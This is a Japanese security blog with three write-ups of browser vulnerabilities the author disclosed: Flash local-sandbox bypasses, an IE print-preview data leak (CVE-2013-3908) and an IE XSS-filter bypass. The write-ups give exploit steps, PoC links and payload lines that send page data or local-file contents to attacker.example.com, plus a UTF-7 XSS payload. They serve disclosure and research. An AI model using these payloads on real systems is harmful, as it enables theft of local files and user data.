2014/12/10

Flashのlocal-with-filesystem Sandboxのバイパス


この記事は 脆弱性"&'<<>\ Advent Calendar 2014 10日目の記事です!

発見したFlashのlocal-with-filesystem Sandboxをバイパスできた複数の脆弱性(CVE-2014-0534, CVE-2014-0537 か CVE-2014-0539, CVE-2014-0554)について書きます。

CVE-2014-0534
http://helpx.adobe.com/security/products/flash-player/apsb14-16.html

CVE-2014-0537 か CVE-2014-0539 (※どちらかのCVEがこのバグだけど片方は無関係の別のバグ、区別がつかない…)
http://helpx.adobe.com/security/products/flash-player/apsb14-17.html

CVE-2014-0554
http://helpx.adobe.com/security/products/flash-player/apsb14-21.html

local-with-filesystem Sandboxとは


ローカルで動くFlashのセキュリティ制限のタイプの1つです。local-with-filesystem Sandboxで動くFlashは、ローカルに保存したデータにはアクセスできるけど、ネットワーク通信はできないという制限で動きます。これにより、ローカルのデータを処理しながら、外部にはそのデータを送信されないような制限で安全にアプリを動かすことができるという話みたいです。詳しくは、Adobeのドキュメント(http://help.adobe.com/ja_JP/ActionScript/3.0_ProgrammingAS3/WS5b3ccc516d4fbf351e63e3d118a9b90204-7e3f.html)を参照。

(ちなみに、ブラウザによってははじめからローカルのhtmlを開いたときにこの制限以上のことができるものもあります。そういうブラウザははじめから問題にならないと考えていいでしょう。詳しくは  ローカルのHTMLファイルからどこまで読み取れるか選手権 2011 - 金利0無利息キャッシング – キャッシングできます - subtech を参照。)

今回はこのFlashが意図している制限を超えて、ネットワーク上にローカルファイルのデータを渡すことがバイパスのミッションです。

【方法1】 window.nameを使う( CVE-2014-0534 その1 )


以下のような方法で、ローカルファイルを外部へ送信できていました。


[手順]------------------------------
1. 細工したSWFファイルをローカルで開く。

2. パスが既知のローカルファイルのデータをURLLoader()で取得。

3. navigateToURL()の第1引数にローカルに持たせたHTMLのファイル、第2引数に取得したデータを渡す。(第1引数 = リダイレクト先、 第2引数 = ウインドウの名前)

4. リダイレクト後のローカルのHTMLから攻撃者のサイトにとばしてwindow.nameを取得すればデータの取得完了。
----------------------------------------

単純ですが、これでできていました。
local-with-filesystem Sandboxの下では、直接httpなURLにナビゲーションできないので、一度ローカルに保存させた細工したHTMLに飛ばしています。修正後は、名前付きのウインドウはFlash側がランダムにつけた別の名前に上書きされるようになりました。

ちなみに、ローカルファイルのURLの部分に「?」や「#」つけてデータ渡せば?っていう発想もあると思うんですが、リダイレクト時に「?」や「#」以降の文字列を削除しているようで、これは無理でした。

PoCはこちら:
http://l0.cm/file/bug2_localsandbox_bypass.zip
(localsandbox_LOCAL_WITH_FILE_bypass2.swf を開くと、そこから「../secret/secret.txt」の位置にあるテキストデータを取得しようとします。)

【方法2】 ショートカットファイル *.urlを使う( CVE-2014-0534 その2 )


これは、ローカルファイルを取得する話ではないのですが、バグを使ってローカルファイルから任意のネットワーク上のデータを取得して、それを【方法1】で紹介したようにwindow.nameを経由して攻撃者のサイトへ送信するというものです。

ローカルファイルからネットワーク上のデータの取得もlocal-with-filesystem Sandboxの下では制限されていますが、Firefoxだけは、Windowsの「.url」形式のショートカットファイルに対して、URLLoader()を使うと、ショートカットファイルが指すネットワーク上のデータを取得できていました。例えば、ショートカットファイルが「https://www.google.com/」を指していれば、Googleのレスポンスbodyが取得できていました。
ここで取得したデータを【方法1】と同じようにwindow.nameで渡せばゲット完了です。

PoCはこちら:
http://l0.cm/file/bug1_localsandbox_bypass.zip
(localsandbox_LOCAL_WITH_FILE_bypass.swf を開くと、Googleのトップページのレスポンスbodyを取得し、外部に送信しようとします。)

【方法3】 「feed:」「pcast:」プロトコルを使う( CVE-2014-0537 か CVE-2014-0539 )


これもローカルファイルからネットワーク上のデータをゲットする話です。

Firefoxだけ、ローカルファイルから以下のようなURLに対しURLLoader()を使うと、ネットワーク上のデータを取得できていました。

feed:https://www.google.com/
pcast:https://www.google.com/

取得したデータは、これまた先頭にfeed: か pcast:をつけたURLに対してsendToURL()等を使い、http:なURLへの通信制限をバイパスすることで送信します。
sendToURL("feed:http://attacker.example.com/?"+data);
過去には、Billy Rios氏の記事( http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/ )にあるように、mhtml: スキームでバイパスできたという話もありましたが、今でもブラックリスト的に制限していたのですね。

PoCはこちら:
http://l0.cm/file/localsandbox_bypass_with_feed_and_pcast.zip
(SWFを開くと、Googleのトップページのレスポンスbodyを取得し、外部に送信しようとします。)

【方法4】 URLにデータを含める(CVEなし)


@BugRoast 氏が発見した以下の方法を参考にして発見しました。

#2140 Flash local-with-fileaccess Sandbox Bypass - HackerOne
https://hackerone.com/reports/2140

彼の手法はこういうことだと思います。

[手順]------------------------------
1. パスが既知のローカルファイルのデータをURLLoader()で取得し、そのデータを2進数変換。

2. そのデータをファイルパスの区切り部分に 1= %2F、 0 = %5Cのようにして重ね、罠HTMLのファイルにnavigateToURL()する。

以下のようなかんじにするということです。

file:///C:/path/%2F%5C%5C%5C%5C%5C%5C%2FPoC.html

これはfile: のURLとして問題なくアクセス可能です。

3. リダイレクト後にパスに含まれた「%2F」「%5C」を変換してテキストを取り出す。

%2F%5C%5C%5C%5C%5C%5C%2F
10000001

A
----------------------------------------

めっちゃおもしろいですね。【方法1】で言ったように、URLの「?」や「#」以降に文字を渡せないので、それをバイパスするためにこんなことをしている訳です。修正後はリダイレクト後のURLを正規化して、余分な「%2F」「%5C」を取り除くことで対策したようです。
この手法を見て、他にも似た方法がありそうだな、と思って考えていたところ、思いついたのが以下のような手法です。

file:///C:/path/PoC.html.%20%20%20%20%20%20.

Windowsではファイル名のあとに「.」と「スペース」を重ねることが許されるようなので、これを同じように、

.%20%20%20%20%20%20.
10000001

A

というようにして取得するというものです。
また、Windowsではファイル名の大文字小文字は区別なくアクセスできるので、大文字 =0、 小文字=1 みたいに変換してリダイレクトするというのもできました。

file:///C:/path/aAAAAAAa.html

aAAAAAAa
10000001
A

この問題に気が付いた後に、もっと根本的な問題に気が付いたので、これに対してだけの修正がリリースされることはありませんでした。

【方法5】 リダイレクトを受けたファイルから情報を取得する( CVE-2014-0554 )


ここにきて、別のローカルファイルへのリダイレクトを許しているのが、根本的に危険な動作なんじゃないのかということに気が付きました。

リダイレクトさえできれば以下のようなことができてしまいます。

[手順]------------------------------
1. パスが既知のローカルファイルのデータをURLLoader()で取得し、データから1バイト取得。

2. 取得したバイトデータにあわせて、以下のように準備した、細工したHTMLへリダイレクトする。(「A」なら「41.html」にリダイレクトする。)



3. localStorageなどにリダイレクトを受けたHTMLの名前を保存しておき、次のバイトを見る。最後のバイトまで1~3の手順を繰り返す。

4. 全部取得できたら攻撃者のサイトにリダイレクトしてデータを飛ばす。

----------------------------------------

ローカルのファイルが存在すればリダイレクトに成功するので、URLに細かくデータを含めたりしなくてもどこにリダイレクトしたかでデータを判定すればいいじゃないかということです。

PoCはこちら:
http://l0.cm/file/localsandbox_bypass_with_redirect.zip
(「!!PoC.html」 を開くと、そこから「../secret/secret.txt」の位置にあるテキストデータを取得しようとします。)

どうやって対策するんだろう、と思っていましたが、ここまできてAdobeもローカルファイルへのリダイレクト自体が危険だということに気が付いたのか、ついにリダイレクト時に以下のような警告を出すようになりました。



これにより、自分から警告より先に行かなければローカルファイルを開いただけで別のローカルファイルが漏れることはなくなりました。

はい、こんなかんじでした。僕もAdobeも根本的な問題に気が付くのがちょっと遅かったですね。

FlashがWebの制限と共存するために、どういうバランスの保ち方をしているのかを見てみると、意外な方法でやっているのが見えてきたりして楽しいですね。大抵それはうまくいっていないか、かなり危なっかしいです。

ついでにおまけ( SECCONのXSS Bonsai (aka. Hakoniwa XSS Reloaded) のwriteup )


盆栽XSSを1番に解いたmkっていう人の盆栽のwriteupっぽいものをみつけました!

http://pastebin.com/FAErAd7V


脆弱性"&'<<>\ Advent Calendar 2014 、明日は@yousukezanさんが担当するみたいです!

2014/11/02

CVE-2013-3908: IEの印刷プレビュー時に発生する情報漏えい

Internet Explorerで細工したページに対し印刷プレビューを実行すると、ページ内の情報が外部に漏えいする場合があった脆弱性について書きます。本問題は、Microsoft提供の更新プログラムにより現在は修正されています。
この問題は、Microsoftが2013年の6-7月に30日間限定で実施したIE11 Previewの脆弱性報酬制度を通じて報告したものです。その後、報酬対象として受理され、$1,100を頂きました。

報酬は次のようなデビットカードで支払われました。

カード右上の金額が$2,200 になっているのは、もう1つ別の報告も報酬対象と受理されたためです。

ちなみに、このことがITmediaに取り上げられ、一部セキュリティ界隈で面白がられている、「日本人と思われるキヌガワマサト氏」という名言が生まれました。

Microsoft、IE 11の脆弱性情報に総額2万8000ドルの賞金贈呈 - ITmedia ニュース
http://www.itmedia.co.jp/news/articles/1310/08/news043.html
また、日本人と思われる「キヌガワ・マサト」氏は2件の脆弱性を報告して2200ドルを進呈されている。

さらに、"日頃より、数々の重要な脆弱性のご報告をいただき、弊社に多大なご協力を頂い"たらしいので、特別な報酬として、「XBOX 360本体1台、XBOXのゲームソフト2本(HALO 4 、Gears of War)、Xbox Liveゴールドメンバーシップ(12ヵ月)」も頂きました。ありがとうございます。

報告後しばらくして、MS13-088で修正されました。

http://technet.microsoft.com/ja-jp/security/bulletin/ms13-088
Internet Explorer の情報漏えいの脆弱性 (CVE-2013-3908) を報告してくださった Masato Kinugawa 氏
2013年11月の修正ですが、関連する問題を報告したのはもっと前だったりします。
2012年の3月頃から、次のようなやりとりがありました。

タイムライン


2012/3/12IE9(当時最新)まで影響する印刷プレビューの脆弱性を報告 - 【問題1】
2012/3/23影響が限定的なため、パッチは提供せず次期バージョンのIE(10)で対応するとの回答をもらう
(IE10リリース後、確かに修正されていることを確認)
2012/12/26IEの文字コードに関する問題を報告 - 【問題2】
2013/7/19上記の文字コードに関する問題を利用すると、IE11 Previewでも、印刷プレビュー時に情報漏えいの問題を発生させることを確認(この時、IE11の報酬制度を実施中だった) - 【問題3】
2013/8/14印刷プレビューの問題が報酬対象と判断される
2013/11/13MS13-088として更新プログラムが公開される(この更新は、印刷プレビューのページを文字コードに関する問題の影響を受けないように変更するもので、文字コードに関する問題自体は修正されなかった。ついでにIE9以下でも【問題1】のバックポートが行われる。)
2013/11/18文字コードに関する問題については影響度が低いので即時修正は行わないとの回答をもらう

まとめると、昔に今回の問題とは関係ない印刷プレビューの脆弱性を報告したけど、次期IEで直すと返事をもらって、確かに次期IEでは直ったけど、別に発見した文字コードの問題と組み合わせるとまだIE11 Previewでも問題が起きるのに気付いて、それで報酬をもらったという話ですね。

それでは、順番に、どんな問題だったか紹介していきます。

【問題1】最初の報告(2012年3月)


印刷プレビュー時にIEは独自のHTMLを生成していて、印刷プレビュー対象のURLからbaseタグのhrefを作り、ドキュメントの先頭の方に埋め込んでいるのですが、この部分で単純に「"<>」などの記号を未処理のまま書き出していました。
例えば、次のようなURLを印刷プレビューで表示すると、印刷プレビュー時に生成されるHTML中でbaseタグのhref属性の引用符が途中で区切られ、xmpタグが有効となり、HTMLソースを印刷プレビューするような状態になります。

http://www.microsoft.com/en-us/default.aspx?"><xmp>

言わばXSS脆弱性がなかったページにXSS脆弱性がうまれてしまったようなもので、明らかにマズそうですが、印刷プレビューのページではJavaScriptは動作しないようなので、典型的なXSS攻撃のように、JavaScriptを使って外部のサーバに情報を送ることはできません。しかし、imgタグなら読み込めるようです。勘がいい人はもう悪用できる可能性に気付いたかもしれません。

次のようなページがあるとします。

http://vulnerabledoma.in/security/search?q=123

qパラメータに入れた値が、検索ボックスに出力されるようなページです。ページ自体にXSS脆弱性はありません。ページの先頭から検索ボックスの間に、 ログインしていることを意味するメールアドレスが表示されている状態を想定しています。

この条件で、印刷プレビューのバグを悪用してみます。
以下のようにURLを細工して印刷プレビューを実行すれば、メールアドレスを含むページ内の情報が、外部のサーバに送られてしまいます。

http://vulnerabledoma.in/security/search?q=123'&"><img/src='http://attacker.example.com/

これは、印刷プレビュー時に生成されるHTMLが次のようになるからです。黄色部分がimgのsrcとして読み込まれる箇所です。
(先頭省略)
<BASE
HREF="http://vulnerabledoma.in/security/search?q=123'&amp;"><img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <META charset="utf-8"> </HEAD> <BODY><P>LoginID:example@example.com</P><FORM action="" method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit" value="submit">
</FORM></BODY></HTML>
画像が読み込まれると、attacker.example.comに向けて、次のリクエストが発生します。赤字部分のように、メールアドレスが含まれています。

http://attacker.example.com/%22%3E%3CSTYLE%3E%20HTML%20%7B%20font-family%20:%20%22Times%20New%20Roman%22%20%7D%20%3C/STYLE%3E%3CMETA%20charset=utf-8%3E%3C/HEAD%3E%3CBODY%3E%3CP%3ELoginID:example@example.com%3C/P%3E%3CFORM%20method=get%20action=%22%22%3ESearchBox:%3CINPUT%20name=q%20value=%22123


IEでは印刷プレビューをユーザ操作なしに実行することは通常できないので、攻撃するには、細工したページに対して印刷プレビューを実行するようターゲットを誘導しなければいけません。このあたりの悪用の難しさからか、影響は小さいと判断され、報告を行った時点で最新のIE9では修正せず、次のIE10で修正するという返事をもらいました。(※のちにIE9以下でも修正されることになります。)

【問題2】文字コードの問題(2012年12月)


この問題、一言で言うと、charset指定のタグがどこで効くかという話です。最近、この問題を使ったXSSチャレンジも公開されており、非公開にする必要もないと思いますので、取り上げます。

次のようなHTMLがある時、どのcharsetでページが表示されるでしょうか。(HTTPレスポンスヘッダにはcharset指定がないとします。)

http://l0.cm/charset.html
<html>
<head>
<meta test="<meta charset=big5>">
<script>
var x="<meta charset=koi8-r>";
</script>
<meta charset=utf-8>
</head>
<body>
<meta charset=iso-8859-1>
<button onclick="func()">charset is</button>
<script>
function func(){
  alert(document.charset||document.characterSet);
}
</script>
</body>
</html>

当然、UTF-8でしょうか?

Chrome/SafariはUTF-8を選択します。ところが、FirefoxはKOI8-R、IEはBig5を選択します。

細かい挙動については個別にみて頂くとして、ここで言いたいのは、本来のcharset指定より前にcharset指定らしき文字列が置けてしまうと、ブラウザによっては、属性部分やJavaScriptの文字列リテラル部分にあるそれらしき文字列でも、charsetの決定に使ってしまう場合があるということです。

本題のCVE-2013-3908は、IEのこの挙動を利用します。

【問題3】文字コードの問題×印刷プレビュー = 情報漏えい(CVE-2013-3908)


報酬を得た問題です。
IE11 Previewの印刷プレビュー時のHTMLソースをみてみましょう。

http://vulnerabledoma.in/security/search2?q=123"<>
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123&quot;<>"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123&quot;<>">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE> <META
charset="iso-8859-1">
</HEAD> <BODY><P>LoginID:example@example.com</P><FORM action=""
method="get">
SearchBox:<INPUT name="q" type="text" value="123&quot;&lt;&gt;"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
ごちゃごちゃしていますが、注目してほしいのは赤字の2箇所だけです。
最初にでてくるcharset指定(2番目の赤字)よりも前に__IE_DisplayURL という謎属性の部分に、<> がそのまま入っています(1番目の赤字)。

先ほどの文字コードの問題を思い出してください。この配置、何かが起こりそうではないですか?!
うまくいくか、やってみましょう。

http://vulnerabledoma.in/security/search2?q=123'&<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta
charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <METAcharset="iso-8859-1"></HEAD> <BODY><P>LoginID:example@example.com</P><FORM action=""method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
こちらも、注目すべき箇所は3箇所だけです。
赤字が実際に有効になるcharset指定です。前述の文字コードの選択の問題により、属性中でもこれがcharset指定と判断されてしまいます。これで、印刷プレビューページのcharsetは本来ページに指定されていたiso-8859-1から、UTF-7になります。
青字の「+ACIAPgA8A-」をUTF-7から戻すと、 ">< になります。これは、「"」を使わずに属性の引用符から脱出するために使っています。
脱出後、imgタグを作り、攻撃者のサイトに機密情報(今回はメールアドレス)を含むリクエストをとばすようにします。黄色部分が画像として読み込まれる部分です。うまくいきました!

やれることは地味ですが、charset指定の問題が発生する配置のドキュメントをIEの印刷プレビュー機能が偶然作っていたためにこのような問題を起こせてしまったというのがなんとも面白いです。その辺りの面白さも含めて、Microsoftは報酬対象と判断してくれたのではないでしょうか。

この問題に対するMS13-088の修正は、印刷プレビューページの構造をcharsetの問題の影響を受けないように変更するもので、charset指定の選択の挙動自体は変更されませんでした。このように、不意に問題が起きる場合があることを身を持って体験しながら、根本原因を改善しなかったのはちょっと残念ですね。

ちなみにこの問題、ページのエンコーディングがUTF-8だった場合は利用できませんでした。印刷プレビューのドキュメントの一番先頭にUTF-8 のBOMが挿入されるようになっていたためです。BOMの優先度は高いので、UTF-8の表示が強制されます。

先ほどのページでも、BOMを挿入すると、IE/FirefoxどちらもUTF-8が必ず選択されるようになります。
http://l0.cm/charset_bom.html


以上が、一連の報告の流れでした。

【おまけ】書いてて気付いた問題( mXSS + 印刷プレビュー = 情報漏えい)


些細な問題ですが、この記事を書いている最中に気付いてしまいました。以下に紹介するものは今も再現します。
印刷プレビューのHTMLをみていると、innerHTMLへの代入後のような文字列でページが構成されていることに気付きます。印刷プレビューは、JavaScriptで動的にページを書き換えたあとの状態や入力された文字列もページに書き出すので、バックでinnerHTMLへの代入相当の、ページ全体に対するコピー処理が行われている、ということだと思います。

はせがわようすけさんの記事「教科書に載らないWebアプリケーションセキュリティ(1):[これはひどい]IEの引用符の解釈 (3/3) - @IT」にもあるように、過去にIEの印刷プレビューでは「`」の扱いがおかしかったりしていますし、このinnerHTMLへの代入相当の処理で、いわゆるmXSSの挙動の影響を受けるのではないかと考えました。(mXSSについては、はせがわさんのブログ記事「mXSS - Mutation-based Cross-Site-Scripting のはなし - 葉っぱ日記」を参考にしてください。)

そこで、Gareth Heys氏のブログで紹介されている、mXSSが起こりうる次のようなコードに対して印刷プレビューを実行してみました。

http://l0.cm/ie_printpreview_mxss.html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<script>
x="<%";
</script>
<div title="%&gt;&lt;/script&gt;&lt;h1&gt;mXSS"></div>

印刷プレビューの表示は、IE11でも以下のようになります。



思った通り、title属性を抜けて、mXSSという文字列がページに出現しています。
問題になる条件は限られますが、これはダメですね…。


参考資料:

印刷プレビュー時のHTMLソースの見方は以下のブログを参考にさせて頂きました。

IEで表示中のアクティブなHTMLソース: Windows Script Programming
http://scripting.cocolog-nifty.com/blog/2010/08/iehtml-2d4b.html

2014/10/02

ブラウザのXSS保護機能をバイパスする(5)

先月に続いてIEのXSSフィルターをバイパスする記事です。
今回は、ブラウザのXSS保護機能をバイパスする(2) の応用を思いついたので紹介したいと思います。

ブラウザのXSS保護機能をバイパスする(2) で紹介した手法は、シンプルな反射型XSSが存在するとき、以下のような条件でIEのXSSフィルターをバイパスできることを示すものでした。

・レスポンスヘッダにX-XSS-Protection:1 または X-XSS-Protectionの指定なし
・Content-Typeレスポンスヘッダにcharset指定がない
・<meta http-equiv=> でcharset指定をしている

この記事を書いた段階では、<meta http-equiv=> でcharset指定をしている場合しかバイパスできないと考えていましたが、最近、<meta charset=> でcharset指定がある場合でもバイパスできることがわかりました。以下にその方法を示します。

次のようなページがあるとします。

 http://vulnerabledoma.in/xssable2?q=%3Cs%3EXSS_HERE
<html>
<head>
<meta charset="utf-8">
<title>XSS TEST</title>
</head>
<body>
<h1>XSS TEST</h1>
<s>XSS_HERE
</body>
</html>
<meta charset=>でcharset指定があり、シンプルなXSSがあるページです。
この条件でXSSフィルターをバイパスしてみます。

こうです:

http://vulnerabledoma.in/xssable2?q=http-equiv=%20%3Cmeta%20charset=utf-7%3E%3Cimg%20src=x%20o%2BA-nerror=alert%281%29%3E&%3Cmeta%20charset%3D%22utf-8%22%3E%0A%3Ctitle%3EXSS%20TEST%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%3Ch1%3EXSS%20TEST%3C%2Fh1%3E%0Ahttp-equiv%3D


IEでアクセスすると、アラートが動作するのが確認できると思います。

IEのXSSフィルターがどんな文字列に反応して<meta>タグを破壊しているのかに着目すると、この手法が見えてきます。
破壊するのは、"<meta" と "http-equiv=" がセットになってあるときです。これまで、<meta charset=>をURLに含んでも破壊してくれなかったのは、 "http-equiv=" という文字列が含まれていなかったからです。
じゃあ、これらがセットで存在しているようにみせかければ、<meta charset=>のmetaだって破壊してくれるのでは、と考えて試したところうまくいったのが今回の手法です。以下の色を付けた部分のように、"<meta charset="から "http-equiv=" がひとつなぎであるかのようにみせかけて、XSSフィルターを反応させます。


http://vulnerabledoma.in/xssable2?q=http-equiv=%20%3Cmeta%20charset=utf-7%3E%3Cimg%20src=x%20o%2BA-nerror=alert%281%29%3E&%3Cmeta%20charset%3D%22utf-8%22%3E%0A%3Ctitle%3EXSS%20TEST%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%3Ch1%3EXSS%20TEST%3C%2Fh1%3E%0Ahttp-equiv%3D
<html>
<head>
<meta charset="utf-8">
<title>XSS TEST</title>
</head>
<body>
<h1>XSS TEST</h1>
http-equiv=
<meta charset=utf-7><img src=x o+A-nerror=alert(1)>
</body>
</html>

 これで既存のcharset指定のmetaタグはme#aのように破壊され、charset指定がない状態になります。
 あとは、以前の手法と同じことをすればいいです。僕が過去にまとめた、 タグ中で無視されるバイト値が出現するもの一覧 を参考にしながらIEが無視してくれるバイト値をもったエンコーディングを使って、XSSフィルターが反応する文字列の間に無視されるバイト値を挟んでしまえば完了です。


以上です。面白いでしょ?我ながら面白い手法だと思いますね!